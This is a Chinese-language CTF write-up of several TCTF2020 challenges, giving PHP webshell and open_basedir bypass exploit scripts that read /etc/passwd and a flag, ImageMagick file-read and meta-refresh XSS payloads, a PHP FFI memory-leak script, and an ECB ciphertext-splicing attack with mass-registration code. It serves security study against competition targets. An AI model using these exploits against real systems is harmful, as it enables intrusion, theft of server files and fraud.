TCTF2020部分题解

TCTF2020部分题解

比赛的时候做题一头雾水,很多题一知半解,不能自己独立完成,赛后看飘零师傅的题解进一步学习。

Cloud Computing

一道出在了 Misc 的题目,但是考的是 web 的 open_basedir bypass。

进入题目,给出源码:

<?php

error_reporting(0);

include 'function.php';

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']) . '/';

if(!file_exists($dir)){
mkdir($dir);
}

switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
if (waf($data)) {
die('waf sucks...');
}
file_put_contents("$dir" . "index.php", $data);
case 'shell':
initShellEnv($dir);
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

显然需要在传参upload时写入小马 getshell,然后再传参shell来进行 RCE。

解题

由于引号,下划线等字符等字符被ban掉了,因此考虑无参数RCE,利用eval(end(getallheaders()))的方式结合在请求头中添加要执行的code从而bypass waf。

data = "<?=eval(end(getallheaders()));?>"
code = r"var_dump('ggb0n');"
headers = {'a':code}

执行结果如下:

但是依旧无法使用 phpinfo 等函数,怀疑是被disable_function给禁了,这里开启报错查看原因:

code = r"error_reporting(-1);phpinfo();"

可以看到函数确实被禁了,同时借助 readfile 函数发现开启了 open basedir:

但是 sandbox 中可以任意创建文件和目录,因此可以结合 mkdir 和 chdir 进行 bypass,payload 如下:

code = "error_reporting(E_ALL);chdir('sandbox/52933f6438c743819c0d2b1031d5547ab025d7d1/');mkdir('x');chdir('x');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(base64_encode(file_get_contents('/etc/passwd')));"

回显如下:

可见成功 bypass,然后读取根目录下的 flag 文件即可,拿到一个 img 文件,其中隐藏了 flag 的图片。

完整exp如下:

import requests
import urllib

url = "http://pwnable.org:47780/?action=upload&data=%s"

data = "<?=eval(end(getallheaders()));?>"

#code = r"var_dump('ggb0n');"
#code = r"error_reporting(-1);phpinfo();"
#code = r"error_reporting(-1);readfile('/etc/passwd');"
#code = "error_reporting(E_ALL));chdir('/var/www/html/sandbox/52933f6438c743819c0d2b1031d5547ab025d7d1/');mkdir('ggb0n');chdir('ggb0n');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/etc/passwd');"
code = "error_reporting(E_ALL);chdir('sandbox/52933f6438c743819c0d2b1031d5547ab025d7d1/');mkdir('x');chdir('x');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(base64_encode(file_get_contents('/flag')));"

headers = {'a':code}

dir_url = "http://pwnable.org:47780/?action=pwd"

first_url = url % data
second_url = "http://pwnable.org:47780/?action=shell"

r = requests.get(url=dir_url)
print(r.content)
r = requests.get(url=first_url,headers=headers)
print(r.content)
r = requests.get(url=second_url,headers=headers)
print(r.content)

Wechat Generator

这题考察 ImageMagick 和 XSS

解题

拿到题目发现是一个生成聊天图片的页面,有 preview 和 share 两个按钮,前者用于生成,后者用于分享。

share 按钮可以获取到一个 url,即为生成图片的 url

访问该路径可以得到如下信息:

图中可以看到,我们会得到一个 png 的路径,浏览器去访问就可以得到生成的 png 图片,如果将 png 改为 txt 则会报错,但是改为 htm 却可以正常访问:

可以看到,回显中包含提交的信息字段内容,并且解析为 html 了,那么我们是否可以考虑引入标签进行闭合?

先看下 data 传参的内容:

我们构造 data 内容去读取flag试试,构造如下payload:

[{"type":0,"message":"[aaa\" /><image width=\"512\" height=\"512\" href=\"text:/flag\"/>]"}]

提交之后点击 share 按钮访问,得到生成的图片,放大之后看到内容如下:

说明这个思路是对的,那尝试读取 web 文件路径,想要读取/proc/self/下的内容,但是proc被过滤,双写绕过即可:

[{"type":0,"message":"[aaa\" /><image width=\"512\" height=\"512\" href=\"text:/prprococ/self\"/>]"}]

提交之后再次 share,得到图片信息如下:

说明这个方法是没问题的,通过寻找,可以发现/app/app.py存在,并且包含关键信息,如下payload读取:

[{"type":0,"message":"[aaa\" /><image width=\"512\" height=\"512\" href=\"text:/app/app.py\"/>]"}]

可以看到,存在/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws路由,访问之后,页面跳转:

也就是要我们去构造 xss,使服务端触发 alert(1)

但是题目中存在CSP:

img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

并且 src 被过滤,还是通过双写进行绕过,但是又找不到可控的 js 文件,于是考虑用meta标签进行跳转:

[{"type":0,"message":"[aaa\" /><meMETAta content=\"0;url=http://ip/x.html\" http-equiv=\"refresh\">]"}]

注意使用htm后缀。

easyphp

考察 bypass open_basedir

解题

首先 phpinfo 看一下,发现 disable_functions、open_basedir:

目录不可写,用如下的代码传参过去读取目录:

$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}

$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
echo "{$f}
";
}

发现了 flag.h 和 flag.o 的存在,蚁剑插件“脚本执行”执行如下代码读取 flag.h 内容:

mkdir('minx');
chdir('minx');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/flag.h');

得到 flag.h 的内容如下:

#define FFI_LIB "/flag.so"
#define FFI_SCOPE "flag"

char* flag_fUn3t1on_fFi();

php 7.4可使用 FFI 调用 c 函数,于是查看phpinfo,开启了 FFI。

再执行如下代码读取到 flag:

$ffi = FFI::load("/flag.h");
$a = $ffi->flag_fUn3t1on_fFi();
for ($i=0; $i < 30; $i++) {
print_r($a[$i]);
}

noeasyphp

继续考察 FFI,只不过php版本提高了,API也更改了。

解题

蚁剑脚本执行:

var_dump(scandir('glob:///*'))

发现仍然存在 flag.h 和 flag.o,想办法读取 flag.h,但是不像上一题,直接给出了读取 flag 的函数名,并且将 FFI:cdef 给禁用了,只好利用 FFI 中与内存相关的函数进行内存泄露,从而获取函数名。

飘零师傅的 exp:

import requests
url = "http://pwnable.org:19261"params = {"rh":'''
try {
$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i < 128; $i++){
echo $a[$i];
//}
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);

$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);

$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);

//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))

获取到函数名$a = $ffi->flag_wAt3_uP_apA3H1();

再次执行如下代码即可获取 flag:

$ffi = FFI::load("/flag.h");
$a = $ffi->flag_wAt3_uP_apA3H1();
for ($i=0; $i < 30; $i++) {
print_r($a[$i]);
}

lottery

一道 web + crypto 题目,考察分组密码的重放攻击,利用多个用户进行偷钱。

解题

题目共有五个接口:registerloginbuyinfocharge

注册并登录之后可以购买 lottery 或者购买 flag,但是 coin 明显不够,需要通过购买 lottery 来增加 coin,但是仅仅这样几乎不可能凑得狗钱去买 flag。

首先看一下 buy、info、charge三个路由的作用:

buy 可以购买 lottery,以此来增加 coin:

通过 bp 截包,可以发现点击 buy 之后,会跳转 info 路由,该路由是对上图中生成的 enc 进行解密,得到明文信息:

charge 路由是提交购买 lottery 的申请:

比赛的时候尝试直接改 coin 传参的值,结果行不通,由于不知道密文的生成方式,后面就是密码学师傅做出来的了。赛后看飘零师傅的题解才明白是分组密码的重放攻击。

分析过程

生成几组密文,结果发现每组密文的结尾是一样的,

NFEbZFZjCg3gtWhc8Ys7VqHQA95DryQjHRh2tLARA2gqu5s\/0Tt0wSubjKo9CR7rFnjfKMixVIRY5dbMQ9\/5AYlLiR7zBGZoi3DhTX7idZjl51uaWb7fyDebazEdvb6joTDaZjFZc5Bt0z8ZhTNb0fbSt9reYD8AcCI4hIXsxZg=

KS2YKOxItMGdsfQsaKqRtwIqSIxFrGVl\/n0QqIvlfMJDLDFMDG67cwWd4r\/fxwFdi5OUGyUHac9\/FSi9\/T54JBdL4iacaoV3cTJciBy8zyODFKFwXCcaytygQNtwfZdEK6FWrCvVHCIYPIch4ewOSPbSt9reYD8AcCI4hIXsxZg=

转为16进制发现最后的32位均为f6d2b7dade603f007022388485ecc598,应该是32位的padding,同时看到密文总长是256位。猜测位ECB分组模式的密码,普遍的攻击方式是重放攻击。

通过对两个不同用户的 enc 的 16 进制数据进行32、64、96、128位的替换,发现当替换128位时,将用户1的 lottery 完全替换为了用户2的 lottery,但是同时 user 的前两位也被替换了。

解题思路就是通过爆破注册多个可以使 user 的前两位一样的用户,爆破脚本如下:

import requests
import random

register_url = 'http://pwnable.org:2333/user/register'
login_url = 'http://pwnable.org:2333/user/login'
lottery_url = 'http://pwnable.org:2333/lottery/buy'
info_url = 'http://pwnable.org:2333/lottery/info'
#charge_url = http://pwnable.org:2333/lottery/charge

usnamelist = "abcdefghijklmnopqrstuvwxyz"
def register(usname,passwd,url):
usname = usname
passwd = passwd
url = url
data = {'username':usname,'password':passwd}
r = requests.post(url=url,data=data)
return r.content

def login(usname,passwd,url):
usname = usname
passwd = passwd
url = url
data = {'username':usname,'password':passwd}
r = requests.post(url=url,data=data)
#return r.headers
return r.content

def buy(token,url):
token = token
url = url
data = {'api_token':token}
r = requests.post(url=url,data=data)
return r.json

def info(enc,url):
enc = enc
url = url
data = {"enc":enc}
r = requests.post(url=url,data=data)
return r.json

passwd = 123
for i in range(10000):
usname = ""
for j in range(random.randint(0,20)):
usname += random.choice(usnamelist)
print(register(usname,passwd,register_url))

可以利用 linux 的管道方便地拿到满足要求的用户信息:

python3 lottery爆破用户名.py | grep '"uuid":"bc'
b'{"user":{"username":"misiifcyboqwa","uuid":"bca638f6-ffb4-4c12-8c79-42add23d90e5","updated_at":"2020-07-01T05:41:02.000000Z","created_at":"2020-07-01T05:41:02.000000Z","id":630605}}'
b'{"user":{"username":"pnihrkpjeocgynhz","uuid":"bce2d26c-92fa-48fc-a2c2-d5ff5e1da6f5","updated_at":"2020-07-01T05:42:09.000000Z","created_at":"2020-07-01T05:42:09.000000Z","id":630734}}'
b'{"user":{"username":"tkb","uuid":"bc10a197-1215-4c4e-bdbe-25145108198d","updated_at":"2020-07-01T05:42:46.000000Z","created_at":"2020-07-01T05:42:46.000000Z","id":630799}}'
b'{"user":{"username":"csuxhbbrdtebsdpue","uuid":"bc87488d-caee-411a-bf4f-c75a17090b5a","updated_at":"2020-07-01T05:44:52.000000Z","created_at":"2020-07-01T05:44:52.000000Z","id":631052}}'
b'{"user":{"username":"kncwealurtcj","uuid":"bc7a033e-d341-42a0-b931-08592ee81e2f","updated_at":"2020-07-01T05:47:43.000000Z","created_at":"2020-07-01T05:47:43.000000Z","id":631362}}'
b'{"user":{"username":"cwbaszukw","uuid":"bc09265e-f0d6-4104-bd11-bd6d29835a00","updated_at":"2020-07-01T05:50:03.000000Z","created_at":"2020-07-01T05:50:03.000000Z","id":631663}}'
b'{"user":{"username":"uhenpkasxlveidif","uuid":"bc00fef1-ec7b-48e6-bc86-3f2ee89da15b","updated_at":"2020-07-01T05:51:13.000000Z","created_at":"2020-07-01T05:51:13.000000Z","id":631786}}'
b'{"user":{"username":"vwurpqhaavjihvuqokyx","uuid":"bc248486-e6d2-437d-8b2d-ee2c3dad1a72","updated_at":"2020-07-01T05:55:55.000000Z","created_at":"2020-07-01T05:55:55.000000Z","id":632333}}'
...

然后用下面的代码进行替换,将其他用户的 lottery 替换掉 user1 的 lottery,如此以来,就可以将其他用户的 coin 转移给 user1了,即可购买 flag。

import base64
import urllib

now_c = "IpG6gymO3Jhd9hgirFfF\\/GZ9An9W7hmfpWnFZEvQ9V4wKQrh4UbaaAm0rp2g2I4WirFyVLzg5KZKQxsPrT53Wot80sjMPhsXy0irOua24Da9KDh1YiMsqS6Q6KJWU5xTdbZ34x8c0bloA9X4\\/fMN6vbSt9reYD8AcCI4hIXsxZg="
#now_c = now_c.decode('utf-8')
another_c = "RNeqoksqjZqjs30IlB4JPaQykvrhhJLviciRBGyYNT0DZbqCkAeQT3L9wJeKwt2FtxIuzzKznobqBur9sRvygvv3jwyYLL1MQR7+AzHT7kug1CQEqkGMqmKZk4ZsdpGluPGbrp5x9YrQ3PKM0MXGcvbSt9reYD8AcCI4hIXsxZg="
#another_c = another_c.decode('utf-8')

now_c = base64.b64decode(now_c).encode('hex')
another_c = base64.b64decode(another_c).encode('hex')
print now_c
print another_c

index = 128

print urllib.quote(base64.b64encode((another_c[:index] + now_c[index:]).decode('hex')))

注意由于每个 lottery 只能用一次,因此每个用于提供 coin 的用户每次都要重新生成 lottery,然后对 user1 的lottery进行替换即可。

还需要注意一点,由于 token 的存在,同一台 PC 只能保持一个用户的连接,再开一台虚拟机登录其他用户提供 coin 即可。

效果如下:

Comments


:D 一言句子获取中...

Loading...Wait a Minute!